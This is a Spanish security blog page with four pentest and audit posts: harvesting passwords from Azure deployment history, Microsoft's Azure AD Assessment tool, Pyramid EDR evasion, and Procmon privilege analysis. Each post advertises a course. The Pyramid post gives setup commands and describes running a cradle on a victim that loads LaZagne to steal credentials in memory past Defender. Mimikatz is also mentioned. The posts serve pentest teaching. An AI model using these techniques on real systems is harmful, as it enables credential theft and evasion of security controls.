domingo, 23 de abril de 2023

Deployment History en Azure, tu bash history en la nube: cazando passwords...

 


Estimados amigos de Inseguros !!!

Dentro del proceso de hacking a entornos Azure buscamos información sensible con los permisos que tiene el usuario que tenemos. Al igual que hacemos con AD On premise, debemos aprovechar al máximo el nivel del usuario, o buscarnos otro...

Si tenemos la suerte de poder ser global reader en una suscripción o grupo de recursos, podemos acceder al historial de despliegues que se han hecho en ese Resource Group.


 Por defecto Azure guarda los últimos 800 despliegues, es más, si llegas a esa cifra, no podrás hacer un warning hasta que Azure haga un borrado como pila y puedas. 



Podemos ver las entradas y salidas, o descargarnos el código completo.

Todo esto desde el portal.

Si usamos la herramienta MicroBurst podemos hacer un Gez-AzDomainInfo y nos lo tira, junto a todo el inventario, a un fichero donde poder indagar. 




Si lo hemos hecho bien, por ejemplo, cuando implementas una máquina virtual desde el portal, el campo contraseña aparece como SecureString y no se ve, pero si has hecho el despliegue desde un "github por ahí" y el desarrollador no ha puesto bien el campo, podremos cazar contraseñas.

También puede ser que pillemos usuarios de portales, en fin, información que a priori nos puede seguir para nuestro proceso de hacking.

Puedes borrar gráficamente los despliegues. Puedes hacerlo dentro de tu ciclo de Devops, puedes hacerlo con powershell az group deployment delete --name name --resource-group name                     Lo que no he podido saber es como quitar este comportamiento, sospecho que no se puede por el tema de los rollbacks.

Esta técnica, herramienta y muchas más vamos a ver la primera semana de Mayo en el curso avanzado de seguridad Azure & O365.  Aún quedas plazas y lo puedes subvencionar.

Si quieres más info. ya sabes !! https://formacion.seguridadsi.com/courses/seguridadazure0365






lunes, 17 de abril de 2023

Azure AD Assessment

 Estimados amigos de Inseguros !!!

Azure Ad es la piedra angular la seguridad de nuestros despliegues Cloud Microsoft, y debemos de tratarlo, de mimarlo, igual que hacemos con el resto de infraestructura. En Microsoft soy consciente de que limpian el CPD, lo cuidan, lo vigilan... pero nuestras configuraciones son cosa nuestra. Ya sabes, el modelo de reponsabilidad compartida...

En esta ocasión os traigo una herramienta de la propia MS para auditar despliegues de clientes. Una solución completa, que incluye hasta el PPT, ahora lo verás. Azure Ad Assessment

Lo primero que vamos a hacer es exportar datos de Azure, con un usuario Global Reader como suele ser habitual. El aplicativo tras realizar estos pasos, nos genera los datos y unas plantillas para visualizarlo en PowerBi...

Install-Module AzureADAssessment -Force

Connect-AADAssessment

Invoke-AADAssessmentDataCollection

Una vez tenemos los datos, bajamos de manera gratuita Power Bi Desktop si no lo teníamos.

Con los datos en bruto, generamos las plantillas:

Complete-AADAssessmentReports `

>>   -Path C:\AzureADAssessment\AzureADAssessmentData-seguridadsi.onmicrosoft.com.aad

Cargamos la plantilla en Powerbi y tenemos nuestro "cuadro de mandos"



Seguimos... hay cosas que no se pueden sacar de la Api, por lo que Microsoft nos da un checklist en Excel para realizar una entrevista con el cliente en la que anotar ciertos comportamientos. Bajamos el Excel de su ruta.


Otra de las cosas buenas de este Excel es que incorporta un circuito guiado por el portal, con enlace incluido, para que el auditor vaya mirando primero y tomando capturas para evidenciar y completar información.



Seguimos añadiendo ingredientes al reporte. Ahora vamos a ejecutar comprobaciones con nuestro querido Ad Connect.

Expand-AADAssessAADConnectConfig -CustomerName 'Seguridadsi' -AADConnectProdConfigZipFilePath C:\AzureADAssessment\AzureADAssessmentData-AADC-DC2022.zip  -OutputRootPath C:\AzureADAssessment\estaaquitureportexD\Report\AADC

Una vez realizado el acceso a los datos, comprobamos el inmenso reporte que nos ofrece la solución.


Ahora que tenemos toda la información, nos pasan hasta un PPT para mostrarlo... me parece algo excesivo ya :-)

Pero si usar la guía para interpretar la información. En esa guía te indica la prioridad, el responsable y te explica un poco la recomendación. 

Por ejemplo, si en la entrevista detectamos que no todos los usuarios usan MFA, nos da una recomendación de prioridades.


Si con estos recursos, no le echas un vistazo de vez en cuando a tu entorno, no tienes perdón !!!

Para hacertelo más fácil, en Mayo tenemos un curso presencial-online, ya sabes, te conectas y en directo vemos cosas. 3 días 3 horas. 
En el curso aprenderás muchas herramientas y procesos para ayudarte en la tarea de atacar y defender tu Azure Ad y Microsoft 365.

Si estás ineresado, contacta conmigo !!! el curso es este: https://formacion.seguridadsi.com/courses/seguridadazure0365


Gracias por leerme !!!


viernes, 14 de abril de 2023

Pyramid para bypass de EDR mediante carga dinámica de módulos en Python. Ejemplo Lazagne

 Estimados amigos de Inseguros !!!

En la aventura de hoy vamos a trabajar con una aplicación muy interesante, Pyramid, que desarrolla un concepto de evasión de EDR que me gusta mucho. Aprovechar el beneplácito que pueda tener el binario Python.exe en los distintos motores de detección para "inyectar" comandos de herramientas conocidas en el hacking, como puedan ser Bloodhound, Mimi o Lazagne.


La solución presentada ofrece un servidor web para hacer el "delivery" de los ficheros, cifrados para mejorar la no-detección, un conjunto de módulos que se pueden cargar en memoria, los programas de hacking que queremos ejecutar, y un cliente que ejecutar las instrucciones en nuestro equipo víctima.

Tiene varios módulos, interesantes, Secretsdump de Impacket... una shell, código .net... una maravilla  !!

El proceso de instalación es muy sencillo. 


git clone https://github.com/naksyn/Pyramid

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

python3 pyramid.py -p 443 -ssl -u testuser -pass Sup3rP4ss! -enc "chacha20" -passenc "TestPass1" -server "192.168.1.2" -generate

Con este ejemplo, podemos descargar el cliente con la información ya presentada, un ahorro el no tener que escribirlo :-) Nos bajamos cradle.py

Por defecto el entorno va a ejecutar pyramid_module='mod-bh.py', podemos cambiarlo por ejemplo para usar Lazagne cambiando en cradle.py el modulo por mod-LaZagne.py, o cualquiera de los que trae de casa.

Ejecutamos python cradle.py en la víctima y voila !!


Con defender encendido ejecutamos Lazagne...

Podemos hacer uso de Python Embebido, si el cliente no tiene instalado python 3.10... en su dc xD 

El propio autor nos complace con un post extenso explicando algunos conceptos interesantes de evasión de EDR, en este documento, por si quieres bajar un poquito más.

Gracias por leerme. Recuerda que estamos haciendo cosas chulas en formacion.seguridadsi.com con varios cursos de Ciberseguridad Microsoft, Azure, etc. date una vuelta, hay cursos gratuitos !!! 

El próximo curso presencial-online es el de Seguridad en Azure y O365.




lunes, 3 de abril de 2023

Procmon, Gpo y process explorer para monitorizar tu aplicación qué permisos requiere...

 Estimados amigos de Inseguros !!!

Durante una de las clases del curso de Ciberseguridad en entornos Microsoft salió la duda de como evaluar los permisos y privilegios que necesita una aplicación para ejecutarse.

Lo típico de que te llega la consultora y para instalar el aplicativo EQUIS te pide ser miembro de domains admin, agua embotellada del volcan del fiji y 10 esclavos abanicándote...

En esta ocasión vamos a por lo del grupo administrador :-).

Podemos usar Procmon, herramienta de la sysinternals, para monitorizar qué ocurre cuando una aplicación se ejecuta. Nos dice ficheros, carpetas, librerias que carga, claves del registro que consulta, al final, nos da una información valiosa para adaptar esos requisitos a un usuario que los cumpla, y no tener que entregar nuestro preciado "domain" al aplicativo.

Por ejemplo, para facilitarnos la vida, podemos ejecutar el aplicativo sin elevación, como usuarios normales, y ver donde el resultado es negativo, no Success, por ejemplo, usando dos filtros, el del nombre del proceso que queremos analizar ( por ejemplo setup.exe) el campo de estado.


Para esta prueba, voy a levantar un cmd y voy a hacer algo "prohibido" algo sobre lo que no voy a tener permisos. Esta acciones son las que queremos trackear, para saber qué permisos concretos necesitamos.


Si nos fijamos en la siguiente imagen, no tenemos permisos para escribir en c: y nos da el error, y nos dice el permiso que esperaba...


Una vez tenemos controlados los permisos, nos vamos a los privilegios. Como sabéis, es distinto, tener el privilegio de apagar el pc, o tomar pertenencia a un grupo, o debugear programas, o actuar como parte del sistema ( para impersonar...) etc, no es lo mismo que poder escribir en una carpeta.

Para trackear el uso de estos privilegios en la ejecución de un proceso, podemos tirar de eventos. Podemos activar la GPO que nos da la auditoria avanzada de este uso. Pero OJO, esto genera MUUUUCHOS eventos. Habilitarlo para casos concretos.


Por ejemplo aquí vemos el uso del privilegio SeTcBPrivilege


Por último, también podemos usar Process Hacker para ver los security access token del proceso y ver el uso de privilegios. 

Por ejemplo, vamos a ejecutar mimikatz, veremos como el proceso no tiene un SAT "elevado" o con privilegio debug, y cuando le hacemos el famoso : privilege::debug, el SAT adquire dicho privilegio.




Estos pequeños "trick" nos sirven para conocer un poco más en profundidad como funciona nuestro apreciado Windows, y poder darle este uso, o cualquier otro relacionado con el ejercicio.

Si me permítes, este curso de Ciberseguridad Microsoft ya está cerrado, abriremos otro en septiembre, pero ahora tenemos uno muy bueno en Mayo de 2023 que lo mismo es de tu interés, sobre Azure y O365.

Te dejo aquí el "folleto" y ya sabes, si tienes dudas puedes consultarme !!!

Gracias  !!!